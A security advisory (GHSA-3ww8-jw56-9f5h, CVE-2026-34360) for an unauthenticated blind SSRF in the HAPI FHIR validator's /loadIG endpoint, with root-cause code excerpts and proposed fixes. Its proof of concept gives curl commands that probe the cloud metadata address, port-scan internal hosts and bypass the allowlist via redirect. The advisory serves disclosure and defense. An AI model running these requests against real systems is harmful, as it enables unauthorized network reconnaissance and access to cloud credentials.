Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing

Moderate **dotasek** published **GHSA-3ww8-jw56-9f5h** 4 days ago

Package

ca.uhn.hapi.fhir:org.hl7.fhir.core (Maven)

Affected versions	Patched versions
< 6.9.4	6.9.4

Description

Summary

The `/loadIG` HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With `explore=true` (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.

Details

Root cause chain:

1. `LoadIGHTTPHandler.handle()` reads the `ig` field from user-supplied JSON and passes it directly to `IgLoader.loadIg()` with no validation:

```
// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);
```

2. `loadIg()` calls `loadIgSource(srcPackage, recursive, true)` with `explore=true` (IgLoader.java:153).

3. `loadIgSource()` checks `Common.isNetworkPath(src)` which only verifies the URL starts with `http:` or `https:` — no host/IP validation (Common.java:14-16).

4. The URL reaches `ManagedWebAccess.get()` which calls `inAllowedPaths()`. This check is a no-op by default because `allowedDomains` is initialized as an empty list, and the code explicitly returns `true` when empty:

```
// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
    if (allowedDomains.isEmpty()) {
        return true;  // DEFAULT: all domains allowed
    }
    // ...
}
```

The source code has a `//TODO get this from fhir settings` comment (line 82) confirming this is an incomplete security control.

5. `SimpleHTTPClient.get()` makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against `inAllowedPaths()`:

```
// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
     HttpURLConnection.HTTP_MOVED_TEMP,
     307, 308:
    String location = connection.getHeaderField("Location");
    url = new URL(originalUrl, location);  // No domain re-validation
    continue;
```

6. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):

```
server = HttpServer.create(new InetSocketAddress(port), 0);
```

7. Errors propagate back to the attacker with exception details:

```
// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
    OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);
```

Redirect bypass: Even if `allowedDomains` were configured, the domain check in `ManagedWebAccessor.setupSimpleHTTPClient()` (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.

PoC

1. Start the FHIR Validator in HTTP server mode:

```
java -jar validator_cli.jar -server -port 8080
```

2. Probe a cloud metadata endpoint:

```
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://169.254.169.254/latest/meta-data/"}'
```

Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).

3. Port scan an internal host:

```
# Open port — returns quickly with a parse error (content received but not valid F
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:8080/"}'

# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:9999/"}'
```

4. Redirect bypass (if allowedDomains were configured):

```
# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://allowed-domain.com/redir"}'
```

The validator follows the redirect to the internal target without re-checking the domain allowlist.

Impact

An unauthenticated attacker with network access to the FHIR Validator HTTP service can:

- **Probe internal network services** — differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)

- **Access cloud metadata endpoints** — reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator's network position
- **Map internal network topology** — systematically enumerate internal hosts and services
- **Bypass domain restrictions via redirects** — even if allowedDomains is configured, redirect following does not re-validate targets
- **Amplify reconnaissance** — each `/loadIG` call with `explore=true` generates multiple outbound requests (package.tgz, JSON, XML variants)

This is a blind SSRF — the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.

Recommended Fix

1. **Add URL validation** in `LoadIGHTTPHandler` before passing to `loadIg()` — reject private/internal IP ranges and non-standard ports:

```
// LoadIGHTTPHandler.java — add before line 43
if (Common.isNetworkPath(ig)) {
    URL url = new URL(ig);
    InetAddress addr = InetAddress.getByName(url.getHost());
    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||
        addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
        sendOperationOutcome(exchange, 400,
            OperationOutcomeUtilities.createError("URL targets a private/internal addres
            getAcceptHeader(exchange));
        return;
    }
}
```

2. **Re-validate redirect targets** in `SimpleHTTPClient.get()` — check `inAllowedPaths()` for each redirect URL:

```
// SimpleHTTPClient.java — inside the redirect case (after line 98)
url = new URL(originalUrl, location);
if (!ManagedWebAccess.inAllowedPaths(url.toString())) {
    throw new IOException("Redirect target '" + url + "' is not in allowed domains");
}
```

3. **Configure `allowedDomains` by default** to restrict outbound requests to known FHIR registries (e.g., `packages.fhir.org`, `hl7.org`), or require explicit opt-in for open access.

4. **Add authentication** to the HTTP service, at minimum for state-changing endpoints like `/loadIG`.

Severity

Moderate 5.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	Low
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVE ID

CVE-2026-34360

Weaknesses

▶ CWE-918

Credits

 **offset** Reporter